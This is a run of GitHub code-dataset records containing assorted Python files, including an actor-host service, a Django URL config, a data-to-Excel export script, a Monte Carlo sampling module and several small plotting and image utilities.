signal.SIGINT, _stopAllActors )\n\n self._initLogging()\n self.instanceId = instanceId\n\n self.log( \"Initializing\" )\n \n self.stopEvent = timeToStopEvent\n\n self.actors = {}\n\n self.py_beach_dir = None\n\n self.configFilePath = configFile\n self.configFile = None\n\n with open( self.configFilePath, 'r' ) as f:\n self.configFile = yaml.load( f )\n\n self.py_beach_dir = os.path.dirname( os.path.abspath( __file__ ) )\n\n os.chdir( os.path.dirname( os.path.abspath( self.configFilePath ) ) )\n\n self.codeDirectory = os.path.abspath( self.configFile.get( 'code_directory', './' ) )\n\n self.opsSocket = _ZMREP( 'ipc:///tmp/py_beach_instance_%s' % instanceId, isBind = True )\n self.log( \"Listening for ops on %s\" % ( 'ipc:///tmp/py_beach_instance_%s' % instanceId, ) )\n \n self.hostOpsPort = self.configFile.get( 'ops_port', 4999 )\n self.hostOpsSocket = _ZMREP( 'tcp://127.0.0.1:%d' % self.hostOpsPort, isBind = False )\n\n ActorHandle._setHostDirInfo( self.configFile.get( 'directory_port',\n 'ipc:///tmp/py_beach_directory_port' ) )\n \n gevent.spawn( self.svc_receiveTasks )\n gevent.spawn( self.svc_monitorActors )\n\n self.log( \"Now open to actors\" )\n\n timeToStopEvent.wait()\n \n self.log( \"Exiting, stopping all actors.\" )\n \n for actor in self.actors.values():\n actor.stop()\n \n gevent.joinall( self.actors.values() )\n self.log( \"All Actors exiting, exiting.\" )\n \n def svc_receiveTasks( self ):\n z = self.opsSocket.getChild()\n while not self.stopEvent.wait( 0 ):\n self.log( \"Waiting for op\" )\n data = z.recv()\n if data is not False and 'req' in data:\n action = data[ 'req' ]\n self.log( \"Received new ops request: %s\" % action )\n if 'keepalive' == action:\n z.send( successMessage() )\n elif 'start_actor' == action:\n if 'actor_name' not in data or 'port' not in data or 'uid' not in data:\n z.send( errorMessage( 'missing information to start actor' ) )\n else:\n actorName = data[ 'actor_name' ]\n realm = data.get( 'realm', 'global' )\n parameters = data.get( 'parameters', {} )\n ip = data[ 'ip' ]\n port = data[ 'port' ]\n uid = data[ 'uid' ]\n fileName = '%s/%s/%s.py' % ( self.codeDirectory, realm, actorName )\n with open( fileName, 'r' ) as hFile:\n fileHash = hashlib.sha1( hFile.read() ).hexdigest()\n self.log( \"Starting actor %s/%s at %s/%s/%s.py\" % ( realm,\n actorName,\n self.codeDirectory,\n realm,\n actorName ) )\n try:\n actor = getattr( imp.load_source( '%s_%s_%s' % ( realm, actorName, fileHash ),\n '%s/%s/%s.py' % ( self.codeDirectory,\n realm,\n actorName ) ),\n actorName )( self, realm, ip, port, uid, parameters )\n except:\n actor = None\n\n if actor is not None:\n self.log( \"Successfully loaded actor %s/%s\" % ( realm, actorName ) )\n self.actors[ uid ] = actor\n actor.start()\n z.send( successMessage() )\n else:\n z.send( errorMessage( 'exception',\n data = { 'st' : traceback.format_exc() } ) )\n elif 'kill_actor' == action:\n if 'uid' not in data:\n z.send( errorMessage( 'missing information to stop actor' ) )\n else:\n uid = data[ 'uid' ]\n if uid in self.actors:\n actor = self.actors[ uid ]\n del( self.actors[ uid ] )\n actor.stop()\n actor.join( timeout = 10 )\n info = None\n if not actor.ready():\n actor.kill( timeout = 10 )\n info = { 'error' : 'timeout' }\n z.send( successMessage( data = info ) )\n else:\n z.send( errorMessage( 'actor not found' ) )\n else:\n z.send( errorMessage( 'unknown request', data = { 'req' : action } ) )\n else:\n self.logCritical( \"Received completely invalid request\" )\n z.send( errorMessage( 'invalid request' ) )\n\n def svc_monitorActors( self ):\n z = self.hostOpsSocket.getChild()\n while not self.stopEvent.wait( 0 ):\n self.log( \"Culling actors that stopped of themselves\" )\n for uid, actor in self.actors.iteritems():\n if not actor.isRunning():\n del( self.actors[ uid ] )\n z.request( { 'req' : 'remove_actor', 'uid' : uid }, timeout = 5 )\n gevent.sleep( 30 )\n\n def _initLogging( self ):\n logging.basicConfig( format = \"%(asctime)-15s %(message)s\" )\n self._logger = logging.getLogger()\n self._logger.setLevel( logging.INFO )\n\n def log( self, msg ):\n self._logger.info( '%s-%s : %s', self.__class__.__name__, self.instanceId, msg )\n\n def logCritical( self, msg ):\n self._logger.error( '%s-%s : %s', self.__class__.__name__, self.instanceId, msg )\n\nif __name__ == '__main__':\n host = ActorHost( sys.argv[ 1 ], sys.argv[ 2 ] )","repo_name":"giserh/py-beach","sub_path":"beach/actorhost.py","file_name":"actorhost.py","file_ext":"py","file_size_in_byte":7265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"38004718948","text":"from django.contrib import admin\nfrom django.urls import path\nfrom .views import(\n\t post_list,\n post_create,\n post_detail,\n post_update,\n post_delete,\n )\n\nurlpatterns = [\n path('',post_list, name='list'),\n path('create/',post_create, name='create'),\n path('/',post_detail, name='detail'),\n path('/update/',post_update, name='update'),\n path('/delete/',post_delete, name='delete'),\n\n # url(r'^$', post_list, name='list'),\n # url(r'^create/$', post_create),\n # url(r'^(?P[\\w-]+)/$', post_detail, name='detail'),\n # url(r'^(?P[\\w-]+)/edit/$', post_update, name='update'),\n # url(r'^(?P[\\w-]+)/delete/$', post_delete),\n\n # path('index/', views.index, name='main-view'),\n # path('bio//', views.bio, name='bio'),\n # path('articles//', views.article, name='article-detail'),\n # path('articles///', views.section, name='article-section'),\n # path('weblog/', include('blog.urls')),\n \n]","repo_name":"iamlaboniraz/Build_a_django_blog_project","sub_path":"posts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"36572918184","text":"from __future__ import print_function\nfrom pathlib import Path\nimport argparse\nimport re\nimport os\n\n# Third party imports.\nimport pandas as pd\n\n# Local application imports.\n\n\"\"\"\nSyntax:\n./export_fim_to_excel.py -h\n\"\"\"\n\n\n# Metadata\n__program__ = \"Export FIM to Excel\"\n__author__ = \"Martijn Vochteloo\"\n__maintainer__ = \"Martijn Vochteloo\"\n__email__ = \"m.vochteloo@rug.nl\"\n__license__ = \"BSD (3-Clause)\"\n__version__ = 1.0\n__description__ = \"{} is a program developed and maintained by {}. \" \\\n \"This program is licensed under the {} license and is \" \\\n \"provided 'as-is' without any warranty or indemnification \" \\\n \"of any kind.\".format(__program__,\n __author__,\n __license__)\n\n\nclass main():\n def __init__(self):\n # Get the command line arguments.\n arguments = self.create_argument_parser()\n self.indir = getattr(arguments, 'indir')\n self.conditional = getattr(arguments, 'conditional')\n self.alleles_path = getattr(arguments, 'alleles')\n self.gene_info_path = getattr(arguments, 'gene_info')\n self.outfile = getattr(arguments, 'outfile')\n\n # Set variables.\n outdir = os.path.join(str(Path(__file__).parent.parent), 'export_fim_to_excel')\n if not os.path.exists(outdir):\n os.makedirs(outdir)\n\n self.outpath = os.path.join(outdir, self.outfile + \".xlsx\")\n\n @staticmethod\n def create_argument_parser():\n parser = argparse.ArgumentParser(prog=__program__,\n description=__description__)\n\n # Add optional arguments.\n parser.add_argument(\"-v\",\n \"--version\",\n action=\"version\",\n version=\"{} {}\".format(__program__,\n __version__),\n help=\"show program's version number and exit.\")\n parser.add_argument(\"-i\",\n \"--indir\",\n type=str,\n required=True,\n help=\"The path to input directory.\")\n parser.add_argument(\"-conditional\",\n action='store_true',\n help=\"Load conditional files. Default: False.\")\n parser.add_argument(\"-al\",\n \"--alleles\",\n type=str,\n required=True,\n help=\"The path to the alleles matrix\")\n parser.add_argument(\"-gi\",\n \"--gene_info\",\n type=str,\n required=True,\n help=\"The path to the gene information matrix.\")\n parser.add_argument(\"-o\",\n \"--outfile\",\n type=str,\n required=True,\n help=\"The name of the output file\")\n\n return parser.parse_args()\n\n def start(self):\n self.print_arguments()\n\n # Load alleles data.\n alleles_df = self.load_file(self.alleles_path, index_col=None)\n alleles_df[\"Affect Allele\"] = alleles_df[\"Alleles\"].str.split(\"/\", n=1, expand=True)[1]\n snp_to_alles_dict = dict(zip(alleles_df[\"SNP\"], alleles_df[\"Alleles\"]))\n snp_to_ae_dict = dict(zip(alleles_df[\"SNP\"], alleles_df[\"Affect Allele\"]))\n del alleles_df\n\n # Load HGNC translate data.\n gene_info_df = self.load_file(self.gene_info_path, header=0, index_col=None)\n gene_info_df[\"gene\"] = gene_info_df[\"ArrayAddress\"].str.split(\".\", n=1, expand=True)[0]\n gene_dict = dict(zip(gene_info_df[\"gene\"], gene_info_df[\"Symbol\"]))\n del gene_info_df\n\n with pd.ExcelWriter(self.outpath) as writer:\n # call_rate_df = self.load_file(os.path.join(self.indir, \"call_rate.txt.gz\"), header=0, index_col=None)\n # call_rate_df.columns = [col.replace(\"CR\", \"call rate\") for col in call_rate_df.columns]\n #\n # call_rate_df.to_excel(writer, sheet_name=\"Call Rate\", na_rep=\"NA\", index=False)\n # print(\"\\tSaving sheet 'Call Rate' with shape {}\".format(call_rate_df.shape))\n # print(\"\")\n # del call_rate_df\n\n ####################################################################\n\n genotype_stats_df = self.load_file(os.path.join(self.indir, \"genotype_stats.txt.gz\"), header=0, index_col=None)\n # genotype_stats_df.to_excel(writer, sheet_name=\"Genotype Statistics\", na_rep=\"NA\", index=False)\n # print(\"\\tSaving sheet 'Genotype Statistics' with shape {}\".format(genotype_stats_df.shape))\n # print(\"\")\n\n maf_dict = dict(zip(genotype_stats_df[\"SNP\"], genotype_stats_df[\"MAF\"]))\n hw_dict = dict(zip(genotype_stats_df[\"SNP\"], genotype_stats_df[\"HW pval\"]))\n del genotype_stats_df\n\n for i in range(1, 100):\n pic = \"PIC{}\".format(i)\n pic_path = os.path.join(self.indir, \"{}{}.txt.gz\".format(pic, \"_conditional\" if self.conditional else \"\"))\n print(pic_path)\n if not os.path.exists(pic_path):\n continue\n\n pic_df = self.load_file(pic_path, header=0, index_col=None)\n\n pic_df.columns = [col if col != \"FDR\" else \"BH-FDR\" for col in pic_df.columns]\n pic_df.drop([\"covariate\"], axis=1, inplace=True)\n pic_df.insert(1, \"allele\", pic_df[\"SNP\"].map(snp_to_alles_dict))\n pic_df.insert(2, \"affect allele\", pic_df[\"SNP\"].map(snp_to_ae_dict))\n pic_df.insert(3, \"MAF\", pic_df[\"SNP\"].map(maf_dict))\n pic_df.insert(4, \"HW p-value\", pic_df[\"SNP\"].map(hw_dict))\n pic_df[\"gene\"] = pic_df[\"gene\"].str.split(\".\", n=1, expand=True)[0]\n pic_df.insert(6, \"symbol\", pic_df[\"gene\"].map(gene_dict))\n\n pic_df.sort_values(by=\"BH-FDR\", inplace=True)\n\n # Save\n pic_df.to_excel(writer, sheet_name=pic, na_rep=\"NA\", index=False)\n print(\"Saving sheet '{}' with shape {}\".format(pic, pic_df.shape))\n print(\"\")\n\n @staticmethod\n def load_file(path, sep=\"\\t\", header=0, index_col=0, nrows=None):\n df = pd.read_csv(path, sep=sep, header=header, index_col=index_col,\n nrows=nrows)\n print(\"Loaded dataframe: {} \"\n \"with shape: {}\".format(os.path.basename(path),\n df.shape))\n return df\n\n def print_arguments(self):\n print(\"Arguments:\")\n print(\" > Input directory: {}\".format(self.indir))\n print(\" > Conditional: {}\".format(self.conditional))\n print(\" > Alleles path: {}\".format(self.alleles_path))\n print(\" > Gene info path: {}\".format(self.gene_info_path))\n print(\" > Output file: {}\".format(self.outfile))\n print(\"\")\n\n\nif __name__ == '__main__':\n m = main()\n m.start()\n","repo_name":"molgenis/PICALO","sub_path":"dev/general/paper_scripts/export_fim_to_excel.py","file_name":"export_fim_to_excel.py","file_ext":"py","file_size_in_byte":7167,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"38"} +{"seq_id":"42870372182","text":"import numpy as np\nfrom pycrash.vehicle import Vehicle\nfrom pycrash.model_calcs.carpenter_momentum import IMPC\nfrom vehicle_data_collection import vehicle_data\n\n# function to optimize\ndef function_optimize(params, test_inputs):\n veh1_input = vehicle_data[test_inputs['vehicle']].copy() # import vehicle\n veh1_input['vx_initial'] = test_inputs['impact_speed']\n veh1_input['pimpact_x'] = test_inputs['pimpact_x']\n veh1_input['pimpact_y'] = test_inputs['pimpact_y']\n #veh1_input['impact_norm_rad'] = test_inputs['impact_norm_rad']\n\n veh2_input = vehicle_data[test_inputs['barrier']].copy() # import barrier\n veh2_input['init_x_pos'] = test_inputs['barrier_x_pos']\n veh2_input['init_y_pos'] = test_inputs['barrier_y_pos']\n\n veh1 = Vehicle('Veh1', veh1_input)\n veh2 = Vehicle('Veh2', veh2_input)\n\n sim_inputs = {'cor': params[0],\n 'cof': params[1],\n 'impact_norm_deg': params[2]}\n name = 'run1'\n run = IMPC(name, veh1, veh2, sim_inputs)\n\n diff_dv_x = run.v1_result['dvx'] - test_inputs['dvx_test']\n diff_dv_y = run.v1_result['dvy'] - test_inputs['dvy_test']\n diff_omega = run.v1_result['oz_deg'] - test_inputs['domega_test']\n omega_scale = 0.23327\n\n sim_error = np.sqrt(diff_dv_x ** 2 + diff_dv_y ** 2 + (omega_scale * diff_omega) ** 2)\n print(sim_inputs)\n print(f'Sim Error: {sim_error}')\n\n return sim_error\n\n\ndef print_callback(params):\n print(params)\n\n","repo_name":"joe-cormier/pycrash","sub_path":"projects/validation impact momentum/src/optimizer_function.py","file_name":"optimizer_function.py","file_ext":"py","file_size_in_byte":1452,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"38"} +{"seq_id":"30421337320","text":"\ndef sequenceTo(gen, limit):\n\tseq = []\n\tfor i in gen():\n\t\tif i >= limit:\n\t\t\treturn seq\n\t\tseq.append(i)\n\t\t\ndef sequenceTerms(gen, terms):\n\tseq = []\n\tfor i in gen():\n\t\tseq.append(i)\n\t\tif len(seq) == terms:\n\t\t\treturn seq\n\t\t\ndef sequenceContains(gen, n):\n\tfor i in gen():\n\t\tif n == i:\n\t\t\treturn True\n\t\tif i > n:\n\t\t\treturn False\n\t\t","repo_name":"ZachOhara/Project-Euler","sub_path":"python/common/sequence.py","file_name":"sequence.py","file_ext":"py","file_size_in_byte":326,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"29564758027","text":"get_ipython().magic('matplotlib inline')\nget_ipython().magic(\"config InlineBackend.figure_format='svg'\")\nfrom numpy import linspace,exp,sin,dot\nfrom matplotlib.pyplot import figure,subplot,plot,title\nfrom chebPy import *\n\nxx = linspace(-1.0,1.0,200,True)\nuu = exp(xx)*sin(5.0*xx)\nc = 1; figure(figsize=(10,8))\nfor N in [10,20]:\n D,x = cheb(N); u = exp(x)*sin(5.0*x)\n subplot(2,2,c); c += 1\n plot(x,u,'o',xx,uu)\n title('u(x), N='+str(N))\n \n error = dot(D,u) - exp(x)*(sin(5.0*x)+5.0*cos(5.0*x))\n subplot(2,2,c); c += 1\n plot(x,error,'o-')\n title('error in u\\'(x), N='+str(N))\n\n","repo_name":"mixmikmic/GH_code_analysis","sub_path":"python/p11.py","file_name":"p11.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"3863056185","text":"import os\nfrom PIL import Image\nimport torchvision\nimport torchvision.transforms as transforms\nfrom torch.utils.data import DataLoader\nfrom tqdm import tqdm\nfrom multiprocessing import Queue, Process\nimport multiprocessing as mp\nimport queue\n\nPATCH_SIZE = 64\nSIZE = 256\nDATA_SET_PATH = './split4x4'\n\nclass SplitWorker(Process):\n def __init__(self, dataset, save_path, begin, end):\n Process.__init__(self, name='SplitWorker')\n self.dataset = dataset\n self.save_path = save_path\n self.begin = begin\n self.end = end\n\n def run(self):\n end = min(self.end, len(self.dataset))\n pbar = tqdm(total=end - self.begin)\n pbar.set_description(\"{} - {}\".format(self.begin, end))\n for i in range(self.begin, end):\n #print(\"{}/{}\".format(i, self.end))\n img, label = self.dataset[i]\n folder = self.save_path + '/' + str(i)\n row = col = SIZE // PATCH_SIZE\n if not os.path.exists(folder):\n os.makedirs(folder)\n for j in range(row):\n for k in range(col):\n box = (k * PATCH_SIZE, j * PATCH_SIZE, (k + 1) * PATCH_SIZE, (j + 1) * PATCH_SIZE)\n sub = img.crop(box)\n sub.save(\"{}/{}_{}_{}.jpeg\".format(folder, j, k, label), 'JPEG')\n pbar.update()\n\ndef split(dataset, length, save_path):\n num_worker = 36 * 2\n size = (length // num_worker) + 1\n workers = []\n for i in range(num_worker):\n worker = SplitWorker(dataset, save_path, i * size, (i + 1) * size)\n worker.start()\n workers.append(worker)\n for worker in workers:\n worker.join()\n\ndef _split(img, label, folder):\n row = col = SIZE // PATCH_SIZE\n if not os.path.exists(folder):\n os.makedirs(folder)\n for j in range(row):\n for k in range(col):\n box = (k * PATCH_SIZE, j * PATCH_SIZE, (k + 1) * PATCH_SIZE, (j + 1) * PATCH_SIZE)\n sub = img.crop(box)\n sub.save(\"{}/{}_{}_{}.jpeg\".format(folder, j, k, label), 'JPEG')\n\ntransform = transforms.Compose([\n transforms.Resize(SIZE)\n])\n\ntrainset = torchvision.datasets.CIFAR10(root='./dataset', train=True, download=False, transform=transform)\nprint(len(trainset))\n#split(trainset, 1, DATA_SET_PATH + '/train')\nsplit(trainset, len(trainset), DATA_SET_PATH + '/train')\ntestset = torchvision.datasets.CIFAR10(root='./dataset', train=False, download=False, transform=transform)\nsplit(testset, len(testset), DATA_SET_PATH + '/test')\n#split(testset, 100, DATA_SET_PATH + '/test')\n\n","repo_name":"zhengyhn/cifar-practice","sub_path":"split.py","file_name":"split.py","file_ext":"py","file_size_in_byte":2576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"3039068840","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n# ? Get values of states\nNUM_STEPS = np.genfromtxt(\n \"//opt//c++//IKSS//scripts//vectors.txt\", dtype=int, max_rows=1, deletechars=\" \")\nvstates = np.genfromtxt(\n \"//opt//c++//IKSS//scripts//vectors.txt\", delimiter=\", \", dtype=float, skip_header=1, max_rows=1, deletechars=\" \")\n# ? Get values of probabilitys\nvro = np.genfromtxt(\n \"//opt//c++//IKSS//scripts//vectors.txt\", delimiter=\", \", dtype=float, skip_header=2, deletechars=\" \")\n# print(NUM_STEPS)\nprint(vstates)\n# print(vro)\nplt.figure()\n# ? plot \"vstates\"\nplt.axis([0, NUM_STEPS, 0, 1.0])\nplt.plot(vstates)\nplt.xlabel(\"Step\")\nplt.ylabel(\"State\")\nplt.savefig(\"//opt//c++//IKSS//graphics//state_switching.jpeg\")\nplt.figure()\n# ? plot \"vro\"\nplt.axis([0, NUM_STEPS, 0, 1])\nnum = 1\nfor vector in vro:\n plt.plot(vector, label=(\"State\" + str(num)))\n num += 1\nplt.xlabel(\"Probability of state\")\nplt.ylabel(\"Time\")\nplt.legend()\nplt.savefig(\"//opt//c++//IKSS//graphics//state_probs.jpeg\")\n","repo_name":"HypeMachine/mark_chains","sub_path":"scripts/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":1001,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"35952144105","text":"###########################################################################\n# Imports\n###########################################################################\nimport numpy as np\nfrom typing import Union\nfrom copy import deepcopy\nfrom tensorflow import image\nfrom tensorflow import convert_to_tensor\n\n\n###########################################################################\n# ImagesEditor Class\n###########################################################################\nclass ImagesEditor:\n \"\"\"An object that enables image editing for data preparations purposes\n Args:\n original_image_struct(np.array): numpy array that contains all the images\n \"\"\"\n\n def __init__(self, original_image_struct: np.array):\n self.__original_image_struct = original_image_struct\n self.__current_altered_image_struct = original_image_struct\n self.__alterations_struct = self.__build_alterations_dictionary()\n\n ####################################\n # Public\n ####################################\n\n def edit_images(self, edit_type: str, *args: any, add_to_image_storage: bool = False,\n override_originals: bool = False, use_original_struct: bool = False) -> None:\n \"\"\"Edits the input images according to the required action\n\n Args:\n edit_type(str): type of action , currently supported -> \"resize\",\"color_to_gray\",\"color_to_gray\",\n \"flip_left_right\",\"flip_up_down\",\"multi_flip\"\n *args(any): arguments for the used functions please check the following to see arguments:\n tf.image.grayscale_to_rgb,\n tf.image.rgb_to_grayscale,\n tf.image.resize\n image.flip_left_right\n image.flip_up_down\n\n add_to_image_storage(bool): if true the created image will be added to the rest of the data storage\n override_originals(bool): if true the altered data will switch the original saved data\n use_original_struct(bool): if true changes will be done on the original data as an input instead of the\n previous altered data\n\n Returns:\n np.array: the confusion matrix structure\n \"\"\"\n images_list = list()\n if use_original_struct:\n image_struct = deepcopy(self.__original_image_struct)\n else:\n image_struct = deepcopy(self.__current_altered_image_struct)\n try:\n edit_function = self.__alterations_struct[edit_type]\n except KeyError:\n print(f\"wrong edit type , the only possible types are: {list(self.__alterations_struct.keys())}\")\n return None\n for image_id in image_struct:\n try:\n rescaled_image = edit_function(image_id, *args).numpy()\n except AttributeError:\n image_id = convert_to_tensor(image_id)\n rescaled_image = edit_function(image_id, *args).numpy()\n except ValueError:\n image_id = np.expand_dims(image_id, axis=-1)\n rescaled_image = edit_function(image_id, *args).numpy()\n except TypeError:\n rescaled_image = edit_function(image_id).numpy()\n images_list.append(rescaled_image)\n if add_to_image_storage:\n current_altered_image_list = list(self.__current_altered_image_struct)\n images_list += current_altered_image_list\n self.__current_altered_image_struct = np.asarray(images_list)\n if override_originals:\n self.__original_image_struct = deepcopy(self.__current_altered_image_struct)\n\n @property\n def get_original_image_struct(self) -> np.array:\n \"\"\"Returns original input of images, before any alterations\n\n Returns:\n np.array: original input of images\n \"\"\"\n return self.__original_image_struct\n\n @property\n def get_altered_image_struct(self) -> np.array:\n \"\"\"Returns current altered images\n\n Returns:\n np.array: array of altered images\n \"\"\"\n return self.__current_altered_image_struct\n\n def reset_alterations(self, images_struct: Union[None, np.array] = None) -> None:\n \"\"\"Resets the altered images structure with the original one or taken a new structure as an input\n Args:\n images_struct(np.array/None): numpy array of images to replace the original and the altered image structure,\n if None the altered structure will be replaced by the original structure\n\n \"\"\"\n if images_struct is None:\n self.__current_altered_image_struct = deepcopy(self.__original_image_struct)\n else:\n self.__original_image_struct = deepcopy(images_struct)\n self.__current_altered_image_struct = deepcopy(images_struct)\n\n ####################################\n # Private\n ####################################\n\n @staticmethod\n def __build_alterations_dictionary() -> dict:\n \"\"\"Returns a structure that contains the images' editing functions\n\n Returns:\n dict: structure that contains the images' editing functions\n \"\"\"\n return {\"resize\": lambda *args: image.resize(*args),\n \"resize_with_crop_or_pad\": lambda *args: image.resize_with_crop_or_pad(*args),\n \"gray_to_color\": lambda *args: image.grayscale_to_rgb(*args),\n \"color_to_gray\": lambda *args: image.rgb_to_grayscale(*args),\n \"flip_left_right\": lambda *args: image.flip_left_right(*args),\n \"flip_up_down\": lambda *args: image.flip_up_down(*args),\n \"multi_flip\": lambda *args: image.flip_up_down(image.flip_left_right(*args))}\n","repo_name":"OrElimelech/computer_vision_projects","sub_path":"lib/images_editor/images_editor.py","file_name":"images_editor.py","file_ext":"py","file_size_in_byte":5833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"30024683467","text":"from typing import Callable, NamedTuple\n\nimport jax\nimport jax.numpy as jnp\n\nimport blackjax.mcmc.integrators as integrators\nfrom blackjax.base import SamplingAlgorithm\nfrom blackjax.mcmc.hmc import HMCInfo, HMCState\nfrom blackjax.mcmc.hmc import build_kernel as build_static_hmc_kernel\nfrom blackjax.types import Array, ArrayLikeTree, ArrayTree, PRNGKey\n\n__all__ = [\n \"DynamicHMCState\",\n \"init\",\n \"build_kernel\",\n \"dynamic_hmc\",\n \"halton_sequence\",\n]\n\n\nclass DynamicHMCState(NamedTuple):\n \"\"\"State of the dynamic HMC algorithm.\n\n Adds a utility array for generating a pseudo or quasi-random sequence of\n number of integration steps.\n\n \"\"\"\n\n position: ArrayTree\n logdensity: float\n logdensity_grad: ArrayTree\n random_generator_arg: Array\n\n\ndef init(position: ArrayLikeTree, logdensity_fn: Callable, random_generator_arg: Array):\n logdensity, logdensity_grad = jax.value_and_grad(logdensity_fn)(position)\n return DynamicHMCState(position, logdensity, logdensity_grad, random_generator_arg)\n\n\ndef build_kernel(\n integrator: Callable = integrators.velocity_verlet,\n divergence_threshold: float = 1000,\n next_random_arg_fn: Callable = lambda key: jax.random.split(key)[1],\n integration_steps_fn: Callable = lambda key: jax.random.randint(key, (), 1, 10),\n):\n \"\"\"Build a Dynamic HMC kernel where the number of integration steps is chosen randomly.\n\n Parameters\n ----------\n integrator\n The symplectic integrator to use to integrate the Hamiltonian dynamics.\n divergence_threshold\n Value of the difference in energy above which we consider that the transition is divergent.\n next_random_arg_fn\n Function that generates the next `random_generator_arg` from its previous value.\n integration_steps_fn\n Function that generates the next pseudo or quasi-random number of integration steps in the\n sequence, given the current `random_generator_arg`. Needs to return an `int`.\n\n Returns\n -------\n A kernel that takes a rng_key and a Pytree that contains the current state\n of the chain and that returns a new state of the chain along with\n information about the transition.\n\n \"\"\"\n hmc_base = build_static_hmc_kernel(integrator, divergence_threshold)\n\n def kernel(\n rng_key: PRNGKey,\n state: DynamicHMCState,\n logdensity_fn: Callable,\n step_size: float,\n inverse_mass_matrix: Array,\n **integration_steps_kwargs,\n ) -> tuple[DynamicHMCState, HMCInfo]:\n \"\"\"Generate a new sample with the HMC kernel.\"\"\"\n num_integration_steps = integration_steps_fn(\n state.random_generator_arg, **integration_steps_kwargs\n )\n hmc_state = HMCState(state.position, state.logdensity, state.logdensity_grad)\n hmc_proposal, info = hmc_base(\n rng_key,\n hmc_state,\n logdensity_fn,\n step_size,\n inverse_mass_matrix,\n num_integration_steps,\n )\n next_random_arg = next_random_arg_fn(state.random_generator_arg)\n return (\n DynamicHMCState(\n hmc_proposal.position,\n hmc_proposal.logdensity,\n hmc_proposal.logdensity_grad,\n next_random_arg,\n ),\n info,\n )\n\n return kernel\n\n\nclass dynamic_hmc:\n \"\"\"Implements the (basic) user interface for the dynamic HMC kernel.\n\n Parameters\n ----------\n logdensity_fn\n The log-density function we wish to draw samples from.\n step_size\n The value to use for the step size in the symplectic integrator.\n inverse_mass_matrix\n The value to use for the inverse mass matrix when drawing a value for\n the momentum and computing the kinetic energy.\n divergence_threshold\n The absolute value of the difference in energy between two states above\n which we say that the transition is divergent. The default value is\n commonly found in other libraries, and yet is arbitrary.\n integrator\n (algorithm parameter) The symplectic integrator to use to integrate the trajectory.\n next_random_arg_fn\n Function that generates the next `random_generator_arg` from its previous value.\n integration_steps_fn\n Function that generates the next pseudo or quasi-random number of integration steps in the\n sequence, given the current `random_generator_arg`.\n\n\n Returns\n -------\n A ``SamplingAlgorithm``.\n \"\"\"\n\n init = staticmethod(init)\n build_kernel = staticmethod(build_kernel)\n\n def __new__( # type: ignore[misc]\n cls,\n logdensity_fn: Callable,\n step_size: float,\n inverse_mass_matrix: Array,\n *,\n divergence_threshold: int = 1000,\n integrator: Callable = integrators.velocity_verlet,\n next_random_arg_fn: Callable = lambda key: jax.random.split(key)[1],\n integration_steps_fn: Callable = lambda key: jax.random.randint(key, (), 1, 10),\n ) -> SamplingAlgorithm:\n kernel = cls.build_kernel(\n integrator, divergence_threshold, next_random_arg_fn, integration_steps_fn\n )\n\n def init_fn(position: ArrayLikeTree, rng_key: Array):\n # Note that rng_key here is not necessarily a PRNGKey, could be a Array that\n # for generates a sequence of pseudo or quasi-random numbers (previously\n # named as `random_generator_arg`)\n return cls.init(position, logdensity_fn, rng_key)\n\n def step_fn(rng_key: PRNGKey, state):\n return kernel(\n rng_key,\n state,\n logdensity_fn,\n step_size,\n inverse_mass_matrix,\n )\n\n return SamplingAlgorithm(init_fn, step_fn)\n\n\ndef halton_sequence(i: Array, max_bits: int = 10) -> float:\n bit_masks = 2 ** jnp.arange(max_bits, dtype=i.dtype)\n return jnp.einsum(\"i,i->\", jnp.mod((i + 1) // bit_masks, 2), 0.5 / bit_masks)\n\n\ndef rescale(mu):\n # Returns s, such that `round(U(0, 1) * s + 0.5)` has expected value mu.\n k = jnp.floor(2 * mu - 1)\n x = k * (mu - 0.5 * (k + 1)) / (k + 1 - mu)\n return k + x\n\n\ndef halton_trajectory_length(\n i: Array, trajectory_length_adjustment: float, max_bits: int = 10\n) -> int:\n \"\"\"Generate a quasi-random number of integration steps.\"\"\"\n s = rescale(trajectory_length_adjustment)\n return jnp.asarray(jnp.rint(0.5 + halton_sequence(i, max_bits) * s), dtype=int)\n","repo_name":"junpenglao/blackjax","sub_path":"blackjax/mcmc/dynamic_hmc.py","file_name":"dynamic_hmc.py","file_ext":"py","file_size_in_byte":6495,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"38"} +{"seq_id":"1750149799","text":"from apps.core.structs import EnumBase, EnumMember\nfrom django.utils.translation import gettext_lazy as _\n\n\nclass OrderStatusEnum(EnumBase):\n REGISTERED = EnumMember(0, _('Registered'))\n REJECTED = EnumMember(1, _('Rejected'))\n CANCELED = EnumMember(2, _('Canceled'))\n ACCEPTED = EnumMember(3, _('Accepted'))\n NOT_ACCEPTED = EnumMember(4, _('Not Accepted'))\n","repo_name":"OveysSafarnejad/teacheat","sub_path":"src/apps/orders/enums.py","file_name":"enums.py","file_ext":"py","file_size_in_byte":373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"2270395955","text":"# coding: utf-8\n\nfrom __future__ import absolute_import\nfrom datetime import date, datetime # noqa: F401\n\nfrom typing import List, Dict # noqa: F401\n\nfrom ni_nfvo.models.base_model_ import Model\nfrom ni_nfvo import util\n\n\nclass SfcUpdateSpec(Model):\n \"\"\"NOTE: This class is auto generated by the swagger code generator program.\n\n Do not edit the class manually.\n \"\"\"\n\n def __init__(self, sfcr_ids: List[str]=None, vnf_instance_ids: List[List[str]]=None): # noqa: E501\n 